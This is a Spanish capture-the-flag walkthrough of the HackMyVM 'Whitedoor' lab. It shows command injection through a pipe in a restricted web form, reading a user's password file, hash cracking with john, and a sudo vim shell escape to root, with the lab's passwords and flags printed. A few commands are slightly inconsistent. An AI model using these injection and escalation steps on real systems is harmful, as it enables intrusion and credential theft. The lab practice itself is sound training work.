Whitedoor HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 07:48 EDT
Nmap scan report for 192.168.5.39
Host is up (0.00085s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 13 Nov 16 2023 README.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.5.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 3d:85:a2:89:a9:c5:45:d0:1f:ed:3f:45:87:9d:71:a6 (ECDSA)
|_ 256 07:e8:c5:28:5e:84:a7:b6:bb:d5:1d:2f:d8:92:6b:a6 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:CE:C3:05 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
Veremos que hay varios puertos entre ellos, el puerto 80
y el FTP
que por lo que vemos se puede conectar de forma anonima, por lo que vamos a probar a leer ese archivo que nos esta detectando a ver que contiene.
ftp anonymous@<IP>
Dejamos la contraseña vacia y veremos que estamos dentro, vamos a descargarnos el archivo .txt
.
get README.txt
Ahora si lo leemos veremos lo siguiente:
¡Good luck!
Nada interesante, por lo que vamos a investigar el puerto 80
, que si entramos veremos que esta alojando una pagina web en la que tiene un cuadro de texto para meter palabras o texto, pero si metemos cualquier palabra nos pondra lo siguiente:
Permission denied. Only the 'ls' command is allowed.
Vamos a probar a meter el ls
a ver que pasa:
blackdoor.webp
blackindex.php
index.php
whitedoor.jpg
Veremos que te lista cosas interesantes, pero vamos a probar a ver que esta haciendo la peticion por dentro con BurpSuite
, abriremos BurpSuite
capturaremos la peticion del ls
y vamos a investigar como responde, etc...
Escalate user whiteshell
Pero no veremos nada interesante, vamos a pronar a intentar concatenar comandos con un pipeline
(|
), a ver si nos permite ejecutar comandos que no sean solo el ls
.
ls | whoami
Info:
www-data
Vemos que efectivamente esta funcionando, por lo que vamos a investigar realizando este bypass
de restriccion de comandos.
Indiagando un poco en el sistema, veremos el siguiente archivo ejecutando lo siguiente:
ls | ls -la /home/whiteshell/Desktop
Info:
total 12
drwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 2023 .
drwxr-xr-x 9 whiteshell whiteshell 4096 Nov 17 2023 ..
-r--r--r-- 1 whiteshell whiteshell 56 Nov 16 2023 .my_secret_password.txt
Vamos a ver que contiene con este otro comando.
ls | cat /home/whiteshell/Desktop/.my_secret_password.txt
Info:
whiteshell:VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K
Vemos lo que parece unas credenciales, pero la contraseña esta codificada en Base64
, por lo que vamos a intentar decodificarla de esta forma.
echo "VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K" | echo "VGgxc0lzVGgzUDRzU3dPckRibGFjNQo=" | base64 -d
Info:
Th1sIsTh3P4sSwOrDblac5
SSH
Veremos que hemos obtenido la contraseña original, por lo que vamos a probarlo mediante el SSH
de esta forma.
ssh whiteshell@<IP>
Metemos como contraseña Th1sIsTh3P4sSwOrDblac5
y veremos que estaremos dentro.
Escalate user Gonzalo
Si nos vamos a la /home
del usuario Gonzalo
veremos que en la carpeta Desktop/
esta el mismo archivo que nosotros teniamos en nuestra carpeta de whiteshell
, pero si lo leemos veremos lo siguiente:
cat /home/Gonzalo/.my_secret_hash
Info:
$2y$10$CqtC7h0oOG5sir4oUFxkGuKzS561UFos6F7hL31Waj/Y48ZlAbQF6
Por lo que vemos es el hash
de la contraseña del usuario gonzalo
por lo que vamos a intentar crackearla con john
.
john --format=crypt --wordlist=<WORDLIST> hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwertyuiop (?)
1g 0:00:00:04 DONE (2025-06-15 08:04) 0.2457g/s 94.34p/s 94.34c/s 94.34C/s adidas..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que ha funcionado y habremos obtenido la contraseña del usuario gonzalo
vamos a probarla con dicho usuario.
su Gonzalo
Metemos como contraseña qwertyuiop
y veremos que estamos dentro, por lo que leeremos la flag
del usuario.
user.txt
Y0uG3tTh3Us3RFl4g!!
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for Gonzalo on whitedoor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User Gonzalo may run the following commands on whitedoor:
(ALL : ALL) NOPASSWD: /usr/bin/vim
Veremos que podemos ejecutar el binario vim
como el usuario root
, por lo que podremos hacer lo siguiente:
sudo vim -c ':!/bin/bash'
Info:
root@whitedoor:/home/Gonzalo# whoami
root
Con esto veremos que ya seremos root
, por lo que leeremos la flag
de root
.
root.txt
Y0uAr3Th3B3sTy0Ug3Tr0oT!!
Last updated